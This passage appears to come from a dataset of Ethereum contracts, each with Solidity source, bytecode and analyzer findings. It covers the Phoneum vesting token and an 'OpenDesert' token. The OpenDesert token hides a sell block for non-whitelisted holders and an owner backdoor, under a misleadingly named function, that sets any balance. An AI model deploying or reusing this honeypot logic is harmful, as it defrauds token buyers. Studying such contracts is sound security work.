function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Owned {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
/**
* @title TokenVault
* @dev TokenVault is a token holder contract that will allow a
* beneficiary to spend the tokens from some function of a specified ERC20 token
*/
contract TokenVault {
using SafeERC20 for ERC20;
// ERC20 token contract being held
ERC20 public token;
constructor(ERC20 _token) public {
token = _token;
}
/**
* @notice Allow the token itself to send tokens
* using transferFrom().
*/
function fillUpAllowance() public {
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.approve(token, amount);
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
}
}
contract Phoneum is BurnableToken, Owned {
string public constant name = "Phoneum";
string public constant symbol = "PHM";
uint8 public constant decimals = 2;
/// Maximum tokens to be allocated (3.5 billion PHM)
uint256 public constant HARD_CAP = 3500000000 * 10**uint256(decimals);
/// This address will be used to distribute the team, advisors and reserve tokens
address public teamAdvisorsReserveTokensAddress;
/// This vault is used to keep the Founders, Advisors and Partners tokens
TokenVault public saleTokensVault;
/// Date when the vesting for regular users starts
uint64 public date01Oct2018 = 1538352000;
/// Store the vesting contract addresses for each sale contributor
mapping(address => address) public vestingOf;
constructor(address _teamAdvisorsReserveTokensAddress) public {
require(_teamAdvisorsReserveTokensAddress != address(0));
teamAdvisorsReserveTokensAddress = _teamAdvisorsReserveTokensAddress;
/// Maximum tokens to be sold - 1,564,265,000 PHM
uint256 teamAdvisorsReserveTokens = 1564265000;
createTokens(teamAdvisorsReserveTokens, teamAdvisorsReserveTokensAddress);
require(totalSupply_ <= HARD_CAP);
}
function createSaleTokensVault() external onlyOwner {
require(saleTokensVault == address(0));
/// Sale tokens - 1,935,735,000 PHM
uint256 saleTokens = 1935735000;
saleTokensVault = createTokenVault(saleTokens);
require(totalSupply_ <= HARD_CAP);
}
/// @dev Create a TokenVault and fill with the specified newly minted tokens
function createTokenVault(uint256 tokens) internal onlyOwner returns (TokenVault) {
TokenVault tokenVault = new TokenVault(ERC20(this));
createTokens(tokens, tokenVault);
tokenVault.fillUpAllowance();
return tokenVault;
}
// @dev create specified number of tokens and transfer to destination
function createTokens(uint256 _tokens, address _destination) internal onlyOwner {
uint256 tokens = _tokens * 10**uint256(decimals);
totalSupply_ = totalSupply_.add(tokens);
balances[_destination] = tokens;
emit Transfer(0x0, _destination, tokens);
require(totalSupply_ <= HARD_CAP);
}
/// @dev vest the sale contributor tokens for 10 months, 10% gradual release with 1 month cliff
function vestTokens(address _beneficiary, uint256 _tokensAmount) external onlyOwner {
require(_beneficiary != address(0));
if(vestingOf[_beneficiary] == 0x0) {
TokenVesting vesting = new TokenVesting(_beneficiary, date01Oct2018, 31 days, 304 days, false);
vestingOf[_beneficiary] = address(vesting);
}
require(this.transferFrom(saleTokensVault, vestingOf[_beneficiary], _tokensAmount));
}
/// @dev releases vested tokens for the caller's own address
function releaseVestedTokens() external {
releaseVestedTokensFor(msg.sender);
}
/// @dev releases vested tokens for the specified address.
/// Can be called by anyone for any address.
function releaseVestedTokensFor(address _owner) public {
TokenVesting(vestingOf[_owner]).release(this);
}
/// @dev check the vested balance for an address
function lockedBalanceOf(address _owner) public view returns (uint256) {
return balances[vestingOf[_owner]];
}
/// @dev check the locked but releaseable balance of an owner
function releaseableBalanceOf(address _owner) public view returns (uint256) {
return TokenVesting(vestingOf[_owner]).releasableAmount(this);
}
} | 0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610142578063095ea7b3146101cc578063174533581461020457806318160ddd146102365780632025e52c1461025d57806323b872dd14610274578063296d84d51461029e578063313ce567146102cf5780633a03171c146102fa57806342966c681461030f57806354dd1da414610327578063593557361461033c578063632a3e521461035d5780636618846314610381578063709cf8c0146103a557806370a08231146103ba5780638da5cb5b146103db57806395d89b41146103f0578063a9059cbb14610405578063b8c7839114610429578063c26fe7ce1461044a578063c47cfca11461046b578063d73dd6231461048c578063dd62ed3e146104b0575b600080fd5b34801561014e57600080fd5b506101576104d7565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610191578181015183820152602001610179565b50505050905090810190601f1680156101be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d857600080fd5b506101f0600160a060020a036004351660243561050e565b604080519115158252519081900360200190f35b34801561021057600080fd5b50610219610574565b6040805167ffffffffffffffff9092168252519081900360200190f35b34801561024257600080fd5b5061024b61059c565b60408051918252519081900360200190f35b34801561026957600080fd5b506102726105a2565b005b34801561028057600080fd5b506101f0600160a060020a0360043581169060243516604435610625565b3480156102aa57600080fd5b506102b361079c565b60408051600160a060020a039092168252519081900360200190f35b3480156102db57600080fd5b506102e46107ab565b6040805160ff9092168252519081900360200190f35b34801561030657600080fd5b5061024b6107b0565b34801561031b57600080fd5b506102726004356107b9565b34801561033357600080fd5b50610272610876565b34801561034857600080fd5b5061024b600160a060020a0360043516610881565b34801561036957600080fd5b50610272600160a060020a03600435166024356108ab565b34801561038d57600080fd5b506101f0600160a060020a0360043516602435610a87565b3480156103b157600080fd5b506102b3610b77565b3480156103c657600080fd5b5061024b600160a060020a0360043516610b86565b3480156103e757600080fd5b506102b3610ba1565b3480156103fc57600080fd5b50610157610bb0565b34801561041157600080fd5b506101f0600160a060020a0360043516602435610be7565b34801561043557600080fd5b5061024b600160a060020a0360043516610cc8565b34801561045657600080fd5b50610272600160a060020a0360043516610d6c565b34801561047757600080fd5b506102b3600160a060020a0360043516610df6565b34801561049857600080fd5b506101f0600160a060020a0360043516602435610e11565b3480156104bc57600080fd5b5061024b600160a060020a0360043581169060243516610eaa565b60408051808201909152600781527f50686f6e65756d00000000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055474010000000000000000000000000000000000000000900467ffffffffffffffff1681565b60015490565b600354600090600160a060020a031633146105bc57600080fd5b600554600160a060020a0316156105d257600080fd5b50637360f8d86105e181610ed5565b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905560015464517da02c00101561062257600080fd5b50565b6000600160a060020a038316151561063c57600080fd5b600160a060020a03841660009081526020819052604090205482111561066157600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561069157600080fd5b600160a060020a0384166000908152602081905260409020546106ba908363ffffffff610faa16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546106ef908363ffffffff610fbc16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610731908363ffffffff610faa16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600454600160a060020a031681565b600281565b64517da02c0081565b60008082116107c757600080fd5b336000908152602081905260409020548211156107e357600080fd5b5033600081815260208190526040902054610804908363ffffffff610faa16565b600160a060020a038216600090815260208190526040902055600154610830908363ffffffff610faa16565b600155604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b61087f33610d6c565b565b600160a060020a039081166000908152600660209081526040808320549093168252819052205490565b600354600090600160a060020a031633146108c557600080fd5b600160a060020a03831615156108da57600080fd5b600160a060020a038084166000908152600660205260409020541615156109c657600554839074010000000000000000000000000000000000000000900467ffffffffffffffff166228de80630190c800600061093561106a565b600160a060020a03909516855267ffffffffffffffff909316602085015260408085019290925260608401529015156080830152519081900360a001906000f080158015610987573d6000803e3d6000fd5b50600160a060020a038481166000908152600660205260409020805473ffffffffffffffffffffffffffffffffffffffff191691831691909117905590505b600554600160a060020a0384811660009081526006602090815260408083205481517f23b872dd0000000000000000000000000000000000000000000000000000000081529585166004870152909316602485015260448401869052915130936323b872dd936064808301949193928390030190829087803b158015610a4b57600080fd5b505af1158015610a5f573d6000803e3d6000fd5b505050506040513d6020811015610a7557600080fd5b50511515610a8257600080fd5b505050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610adc57336000908152600260209081526040808320600160a060020a0388168452909152812055610b11565b610aec818463ffffffff610faa16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600554600160a060020a031681565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031681565b60408051808201909152600381527f50484d0000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610bfe57600080fd5b33600090815260208190526040902054821115610c1a57600080fd5b33600090815260208190526040902054610c3a908363ffffffff610faa16565b3360009081526020819052604080822092909255600160a060020a03851681522054610c6c908363ffffffff610fbc16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a0380821660009081526006602090815260408083205481517f1726cbc8000000000000000000000000000000000000000000000000000000008152306004820152915193941692631726cbc89260248084019391929182900301818787803b158015610d3a57600080fd5b505af1158015610d4e573d6000803e3d6000fd5b505050506040513d6020811015610d6457600080fd5b505192915050565b600160a060020a038082166000908152600660205260408082205481517f19165587000000000000000000000000000000000000000000000000000000008152306004820152915193169263191655879260248084019391929182900301818387803b158015610ddb57600080fd5b505af1158015610def573d6000803e3d6000fd5b5050505050565b600660205260009081526040902054600160a060020a031681565b336000908152600260209081526040808320600160a060020a0386168452909152812054610e45908363ffffffff610fbc16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6003546000908190600160a060020a03163314610ef157600080fd5b30610efa61107a565b600160a060020a03909116815260405190819003602001906000f080158015610f27573d6000803e3d6000fd5b509050610f348382610fd2565b80600160a060020a03166312d60f866040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b158015610f8b57600080fd5b505af1158015610f9f573d6000803e3d6000fd5b509295945050505050565b600082821115610fb657fe5b50900390565b600082820183811015610fcb57fe5b9392505050565b600354600090600160a060020a03163314610fec57600080fd5b506001546064830290611005908263ffffffff610fbc16565b600155600160a060020a038216600081815260208181526040808320859055805185815290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a360015464517da02c001015610a8257600080fd5b60405161084f8061108b83390190565b60405161029a806118da833901905600608060405234801561001057600080fd5b5060405160a08061084f8339810160409081528151602083015191830151606084015160809094015160008054600160a060020a0319163317905591939091600160a060020a038516151561006457600080fd5b8183111561007157600080fd5b60018054600160a060020a031916600160a060020a0387161790556005805460ff191682151517905560048290556100b684846401000000006100c581026106411704565b600255505050600355506100db565b6000828201838110156100d457fe5b9392505050565b610765806100ea6000396000f3006080604052600436106100a05763ffffffff60e060020a6000350416630fb5a6b481146100a557806313d033c0146100cc5780631726cbc8146100e15780631916558714610102578063384711cc1461012557806338af3eed1461014657806374a8f10314610177578063872a7810146101985780638da5cb5b146101c15780639852595c146101d6578063be9a6555146101f7578063fa01dc061461020c575b600080fd5b3480156100b157600080fd5b506100ba61022d565b60408051918252519081900360200190f35b3480156100d857600080fd5b506100ba610233565b3480156100ed57600080fd5b506100ba600160a060020a0360043516610239565b34801561010e57600080fd5b50610123600160a060020a0360043516610271565b005b34801561013157600080fd5b506100ba600160a060020a036004351661031d565b34801561015257600080fd5b5061015b610474565b60408051600160a060020a039092168252519081900360200190f35b34801561018357600080fd5b50610123600160a060020a0360043516610483565b3480156101a457600080fd5b506101ad6105ea565b604080519115158252519081900360200190f35b3480156101cd57600080fd5b5061015b6105f3565b3480156101e257600080fd5b506100ba600160a060020a0360043516610602565b34801561020357600080fd5b506100ba610614565b34801561021857600080fd5b506101ad600160a060020a036004351661061a565b60045481565b60025481565b600160a060020a03811660009081526006602052604081205461026b9061025f8461031d565b9063ffffffff61062f16565b92915050565b600061027c82610239565b90506000811161028b57600080fd5b600160a060020a0382166000908152600660205260409020546102b4908263ffffffff61064116565b600160a060020a038084166000818152600660205260409020929092556001546102e69291168363ffffffff61065b16565b6040805182815290517ffb81f9b30d73d830c3544b34d827c08142579ee75710b490bab0b3995468c5659181900360200190a15050565b600080600083600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561037d57600080fd5b505af1158015610391573d6000803e3d6000fd5b505050506040513d60208110156103a757600080fd5b5051600160a060020a0385166000908152600660205260409020549092506103d690839063ffffffff61064116565b90506002544210156103eb576000925061046d565b6004546003546104009163ffffffff61064116565b421015806104265750600160a060020a03841660009081526007602052604090205460ff165b156104335780925061046d565b61046a60045461045e6104516003544261062f90919063ffffffff16565b849063ffffffff6106f716565b9063ffffffff61072216565b92505b5050919050565b600154600160a060020a031681565b6000805481908190600160a060020a0316331461049f57600080fd5b60055460ff1615156104b057600080fd5b600160a060020a03841660009081526007602052604090205460ff16156104d657600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038616916370a082319160248083019260209291908290030181600087803b15801561053757600080fd5b505af115801561054b573d6000803e3d6000fd5b505050506040513d602081101561056157600080fd5b5051925061056e84610239565b9150610580838363ffffffff61062f16565b600160a060020a038086166000818152600760205260408120805460ff19166001179055549293506105bb929091168363ffffffff61065b16565b6040517f44825a4b2df8acb19ce4e1afba9aa850c8b65cdb7942e2078f27d0b0960efee690600090a150505050565b60055460ff1681565b600054600160a060020a031681565b60066020526000908152604090205481565b60035481565b60076020526000908152604090205460ff1681565b60008282111561063b57fe5b50900390565b60008282018381101561065057fe5b8091505b5092915050565b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156106be57600080fd5b505af11580156106d2573d6000803e3d6000fd5b505050506040513d60208110156106e857600080fd5b505115156106f257fe5b505050565b60008083151561070a5760009150610654565b5082820282848281151561071a57fe5b041461065057fe5b600080828481151561073057fe5b049493505050505600a165627a7a72305820bbc2e2f04c3b5283c9f4449bfe5aa1c74b2ed290d0886a02305e57a2dccdac800029608060405234801561001057600080fd5b5060405160208061029a833981016040525160008054600160a060020a03909216600160a060020a0319909216919091179055610248806100526000396000f30060806040526004361061004b5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166312d60f868114610050578063fc0c546a14610067575b600080fd5b34801561005c57600080fd5b506100656100a5565b005b34801561007357600080fd5b5061007c610200565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b60008054604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a082319160248082019260209290919082900301818787803b15801561011857600080fd5b505af115801561012c573d6000803e3d6000fd5b505050506040513d602081101561014257600080fd5b505190506000811161015357600080fd5b60008054604080517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90921660048301819052602483018590529051909263095ea7b392604480820193602093909283900390910190829087803b1580156101d157600080fd5b505af11580156101e5573d6000803e3d6000fd5b505050506040513d60208110156101fb57600080fd5b505050565b60005473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a723058201a415bf6786755fea9c112bd83dd3320c98504e3eb5d25f52a327730bd9367a20029a165627a7a72305820c185bbcf1e7f42740ebe7d2f598a3643bc74d3dcb69f103a4c0f39903013f1860029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,847 |
0x2c720dab5968c7cb72de2ccc05248ec938cd398e | /**
*Submitted for verification at Etherscan.io on 2021-09-05
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract OpenDesert {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffff